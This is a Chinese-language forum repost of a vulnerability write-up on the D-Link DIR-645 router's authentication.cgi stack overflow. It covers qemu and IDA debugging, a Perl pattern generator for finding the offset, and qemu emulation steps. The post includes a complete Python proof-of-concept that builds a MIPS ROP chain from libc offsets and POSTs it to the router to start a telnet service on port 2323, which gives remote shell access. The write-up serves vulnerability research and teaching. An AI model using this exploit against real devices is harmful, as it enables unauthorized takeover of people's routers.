设为首页收藏本站
开启辅助访问 切换到窄版

安全矩阵

 找回密码
 立即注册
搜索
安全矩阵»安全矩阵 › 安全矩阵实验室 › 技术转载 › D-Link DIR-645路由器溢出分析
返回列表 发新帖
查看: 2320|回复: 0

D-Link DIR-645路由器溢出分析

[复制链接]
Delina

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-1 19:29:15 | 显示全部楼层 |阅读模式
原文链接：D-Link DIR-645路由器溢出分析
​
1
漏洞介绍
该漏洞是CGI脚本在处理authentication.cgi请求，来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
2
固件提取文件系统
固件下载：ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
​

3
qemu+IDA调试分析
1、run_cgi.sh脚本：
  1. #!/bin/bash

  3. # 待执行命令
  4. # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"

  6. INPUT="$1" # 参数1，uid=A21G&password=1160个A
  7. TEST="$2"    # 参数2，uid=A21G
  8. LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
  9. PORT="1234"    # 监听的调试端口

  11. # 用法错误则提示
  12. if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
  13. then
  14.     echo -e "\nUsage: sudo $0 \n"
  15.     exit 1
  16. fi

  18. # 复制qemu-mipsel-static到本目录并重命名，注意是static版本
  19. cp $(which qemu-mipsel-static) ./qemu
  20. echo $TEST
  21. # ｜ 管道符：前者输出作为后者输入
  22. # chroot 将某目录设置为根目录（逻辑上的）
  23. echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
  24. echo 'run ok'
  25. rm -f ./qemu    # 删除拷贝过来的执行文件
复制代码
2、调试目标程序需要匹配正确。

​

3、IDA分析，追踪问题函数
​

4、填充数据调试
​
IDA调试参考：
​

获得&ra在栈上的地址（这是非子叶函数的性质）：
​

F8执行观察，直到栈上保存&ra的数据内容发送变化（可猜测这里可能时溢出点）：
​

注意：为了防止后面可能出现二次溢出，或则其他处溢出才是真正影响被程序被控制的位置，我们继续F8执行观察。
程序异常结束了，发现时a1寄存器的值是栈上的，大概猜测一下是我们填充的值太大影响到了这位置上的值。
5、看看a1正常的内容读取:
​

缩短填充内容的长度，重新调试：
​

程序走到authenticationcgi_main的返回位置才退出：
如果需要看到更明显的步骤，可以自己找到此处再下个断点。
​
​

结论：真实溢出位置就是read()函数引起的。
6、分析read（）函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源与目的地：
​

分析方法：由于MIPS是流水线执行指令顺序，寻找参数先到函数跳转处先向下查找参数，然受再向上查找参数。
​

最终得到read()函数原型：read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7、注var_430计算大小方式，根据栈中变量的顺序去计算：
​

至此漏洞定位分析完，起始后面还有些危险函数可能存在危险溢出点需要验证，不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出，所以就不附上步骤了。
根据漏洞描述，POST提交数据时，并不是任意格式的数据都能造成缓存区溢出，需要”id=XX&&password=XX“形式的格式。
验证分析：
​
程序异常退出在此处，分析：
​

在向上分析，发现数据最终来源与$s2相关的数据，双击进入，发现固定格式，读取后面数据为strlen服务：
​

更改回要求的形式获得结果：
​

​

4
漏洞利用
1、调试确定偏移
这里分享个更方便的脚本patter.pl脚本生成构造数据：
​
  1. #!/usr/bin/perl -w
  2. use strict;

  4. # Generate/Search Pattern (gspattern.pl) v0.2
  5. # Scripted by Wasim Halani (washal)
  6. # Visit me at https://securitythoughts.wordpress.com/
  7. # Thanks to hdm and the Metasploit team
  8. # Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
  9. # This script is to be used for educational purposes only.

  11. my $ustart = 65;
  12. my $uend = 90;
  13. my $lstart = 97;
  14. my $lend = 122;
  15. my $nstart = 0;
  16. my $nend = 9;
  17. my $length ;
  18. my $string = "";
  19. my ($upper, $lower, $num);
  20. my $searchflag = 0;
  21. my $searchstring;

  23. sub credits(){
  24.     print "\nGenerate/Search Pattern \n";
  25.     print "Scripted by Wasim Halani (washal)\n";
  26.     print "https://securitythoughts.wordpress.com/\n";
  27.     print "Version 0.2\n\n";
  28. }

  30. sub usage(){
  31.     credits();
  32.     print " Usage: \n";
  33.     print " gspattern.pl  \n";
  34.     print "         Will generate a string of given length. \n";
  35.     print "\n";
  36.     print " gspattern.pl   \n";
  37.     print "         Will generate a string of given length,\n";
  38.     print "         and display the offsets of pattern found.\n";
  39. }

  41. sub generate(){
  42.     credits();
  43.     $length = $ARGV[0];
  44.     #print "Generating string for length : " .$length . "\n";
  45.     if(length($string) == $length){
  46.         finish();
  47.     }
  48.     #looping for the uppercase
  49.     for($upper = $ustart; $upper <= $uend;$upper++){
  50.         $string =$string.chr($upper);
  51.         if(length($string) == $length){
  52.             finish();
  53.         }
  54.         #looping for the lowercase
  55.         for($lower = $lstart; $lower <= $lend;$lower++){
  56.             $string =$string.chr($lower);
  57.             if(length($string) == $length){
  58.                 finish();
  59.             }
  60.             #looping for the numeral
  61.             for($num = $nstart; $num <= $nend;$num++){
  62.                 $string = $string.$num;
  63.                 if(length($string) == $length){
  64.                     finish();
  65.                 }
  66.                 $string = $string.chr($upper);
  67.                 if(length($string) == $length){
  68.                     finish();
  69.                 }
  70.                 if($num != $nend){
  71.                     $string = $string.chr($lower);
  72.                 }
  73.                 if(length($string) == $length){
  74.                     finish();
  75.                 }
  76.             }
  77.         }
  78.     }
  79. }

  81. sub search(){
  82.     my $offset = index($string,$searchstring);
  83.     if($offset == -1){
  84.         print "Pattern '".$searchstring."' not found\n";
  85.         exit(1);
  86.     }
  87.     else{
  88.         print "Pattern '".$searchstring."' found at offset(s) : ";
  89.     }
  90.     my $count = $offset;
  91.     print $count." ";

  93.     while($length){
  94.         $offset = index($string,$searchstring,$offset+1);
  95.         if($offset == -1){
  96.             print "\n";
  97.             exit(1);
  98.         }
  99.         print $offset ." ";
  100.         $count = $count + $offset;
  101.     }
  102.     print "\n";
  103.     exit(1);
  104. }

  106. sub finish(){
  107.     print "String is : \n".$string ."\n\n";
  108.     if($searchflag){
  109.         search();
  110.     }
  111.     exit(1);
  112. }

  114. if(!$ARGV[0]){
  115.     usage();
  116.     #print "Going into usage..";
  117. }
  118. elsif ($ARGV[1]){
  119.     $searchflag = 1;
  120.     $searchstring = $ARGV[1];
  121.     generate();
  122.     #print "Going into pattern search...";
  123. }
  124. else {
  125.      generate();
  126.      #print "Going into string generation...";
  127. }
复制代码
​
2、patter.pl脚本使用方法
有两种操作模式：
只提供一个参数，即要生成的字符串的长度( ./ gspattern.pl [length of string] )
字符串的长度和要找到偏移量的模式提供（./ gspattern.pl [字符串长度] [搜索模式]）
注（搜索模式）：获得要计算偏移溢出位置的hex值，转化为ASCII码。（记住一定要根据大小端序来输入，下面步骤中已举例）
3、生成构造数据（我直接写入文件了，它把description也一块写入了，需要进去删除下）
  1. ./pattern.pl 1160 > test_auth
复制代码


调试确定需要的偏移位置值：
  1. sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"
复制代码

​

将0x38684237 转成对应ASCII码：8hB7
​

4、构造ROP参考：家用路由器漏洞挖掘实例分析
5、POC
​
  1. import sys
  2. import time
  3. import string
  4. import socket
  5. from random import Random
  6. import urllib, urllib2, httplib

  8. class MIPSPayload:
  9.     BADBYTES = [0x00]
  10.     LITTLE = "little"
  11.     BIG = "big"
  12.     FILLER = "A"
  13.     BYTES = 4

  15.     def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
  16.         self.libase = libase
  17.         self.shellcode = ""
  18.         self.endianess = endianess
  19.         self.badbytes = badbytes

  21.     def rand_text(self, size):
  22.         str = ''
  23.         chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
  24.         length = len(chars) - 1
  25.         random = Random()
  26.         for i in range(size):
  27.             str += chars[random.randint(0,length)]
  28.         return str

  30.     def Add(self, data):
  31.         self.shellcode += data

  33.     def Address(self, offset, base=None):
  34.         if base is None:
  35.             base = self.libase
  36.         return self.ToString(base + offset)

  38.     def AddAddress(self, offset, base=None):
  39.         self.Add(self.Address(offset, base))

  41.     def AddBuffer(self, size, byte=FILLER):
  42.         self.Add(byte * size)

  44.     def AddNops(self, size):
  45.         if self.endianess == self.LITTLE:
  46.             self.Add(self.rand_text(size))
  47.         else:
  48.             self.Add(self.rand_text(size))

  50.     def ToString(self, value, size=BYTES):
  51.         data = ""
  52.         for i in range(0, size):
  53.             data += chr((value >> (8*i)) & 0xFF)
  54.         if self.endianess != self.LITTLE:
  55.             data = data[::-1]
  56.         return data

  58.     def Build(self):
  59.         count = 0
  60.         for c in self.shellcode:
  61.             for byte in self.badbytes:
  62.                 if c == chr(byte):
  63.                     raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
  64.             count += 1
  65.         return self.shellcode

  67.     def Print(self, bpl=BYTES):
  68.         i = 0
  69.         for c in self.shellcode:
  70.             if i == 4:
  71.                 print ""
  72.                 i = 0
  73.             sys.stdout.write("\\x%.2X" % ord(c))
  74.             sys.stdout.flush()
  75.             if bpl > 0:
  76.                 i += 1
  77.         print "\n"

  79. class HTTP:
  80.     HTTP = 'http'

  82.     def __init__(self, host, proto=HTTP, verbose=False):
  83.         self.host = host
  84.         self.proto = proto
  85.         self.verbose = verbose
  86.         self.encode_params = True

  88.     def Encode(self, data):
  89.         #just for DIR645
  90.         if type(data) == dict:
  91.             pdata = []
  92.             for k in data.keys():
  93.                 pdata.append(k + '=' + data[k])
  94.             data = pdata[1] + '&' + pdata[0]
  95.         else:
  96.             data = urllib.quote_plus(data)
  97.         return data

  99.     def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
  100.         html = ""
  101.         if uri.startswith('/'):
  102.             c = ''
  103.         else:
  104.             c = '/'

  106.         url = '%s://%s' % (self.proto, self.host)
  107.         uri = '/%s' % uri
  108.         if data is not None:
  109.             data = self.Encode(data)
  110.         #print data
  111.         if self.verbose:
  112.             print url
  113.         httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
  114.         httpcli.request('POST',uri,data,headers=headers)
  115.         response=httpcli.getresponse()
  116.         print response.status
  117.         print response.read()

  119. if __name__ == '__main__':
  120.     libc = 0x2aaf8000    # so动态库的加载基址
  121.     target = {
  122.         "1.03"  :   [
  123.             0x531ff,    # 伪system函数地址（只不过-1了，曲线救国，避免地址出现00截断字符
  124.             0x158c8,    # rop chain 1（将伪地址+1，得到真正的system地址，曲线救国的跳板
  125.             0x159cc,    # rop chain 2（执行system函数，传参cmd以执行命令
  126.             ],
  127.         }
  128.     v = '1.03'
  129.     cmd = 'telnetd -p 2323'        # 待执行的cmd命令：在2323端口开启telnet服务
  130.     ip = '192.168.0.1'        # 服务器IP地址//here

  132.     # 构造payload
  133.     payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])

  135.     payload.AddNops(1011)                # filler # 7. 填充1011个字节，$s0偏移为1014，129行target数组中地址只占了3，04-3=01
  136.     payload.AddAddress(target[v][0], base=libc)    # $s0
  137.     payload.AddNops(4)                            # $s1
  138.     payload.AddNops(4)                            # $s2
  139.     payload.AddNops(4)                            # $s3
  140.     payload.AddNops(4)                            # $s4
  141.     payload.AddAddress(target[v][2], base=libc)    # $s5
  142.     payload.AddNops(4)                            # unused($s6)
  143.     payload.AddNops(4)                            # unused($s7)
  144.     payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp，可能是作者笔误吧，实际验证应该是$fp,下面注释给出验证数据。
  145.     payload.AddAddress(target[v][1], base=libc)    # $ra
  146.     payload.AddNops(4)                            # fill
  147.     payload.AddNops(4)                            # fill
  148.     payload.AddNops(4)                            # fill
  149.     payload.AddNops(4)                            # fill
  150.     payload.Add(cmd)                # shellcode

  152.     # 构造http数据包
  153.     pdata = {
  154.         'uid'       :   '3Ad4',
  155.         'password'  :   'AbC' + payload.Build(),
  156.         }
  157.     header = {
  158.         'Cookie'        : 'uid='+'3Ad4',
  159.         'Accept-Encoding': 'gzip, deflate',
  160.         'Content-Type'  : 'application/x-www-form-urlencoded',
  161.         'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
  162.         }
  163.     # 发起http请求
  164.     try:
  165.         HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
  166.         print '[+] execute ok'
  167.     except httplib.BadStatusLine:
  168.         print "Payload deliverd."
  169.     except Exception,e:
  170.         print "2Payload delivery failed: %s" % str(e)
复制代码
​
注释：栈内数据对应寄存器
​

5
qemu开启仿真环境
1、打开qemu系统

  1. sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
复制代码


2、利用SCP把路由系统文件传过去，之前文章有写过，不清楚的请看参考链接。
3、开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境，因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备：
  1. mount -o bind /dev ./squashfs-root/dev
  2. mount -t proc /proc ./squashfs-root/proc/
  3. chroot ./squashfs-root/ sh
复制代码
然后进入/etc/init.d/目录下，执行./rcS（init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件）启动：
然后根据报错提示去修复：
​

当然用别的仿真环境跑起来也都一样运行，这里我没启动成功，主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境，欢迎大家交流。
​



回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 17:38 , Processed in 0.015764 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表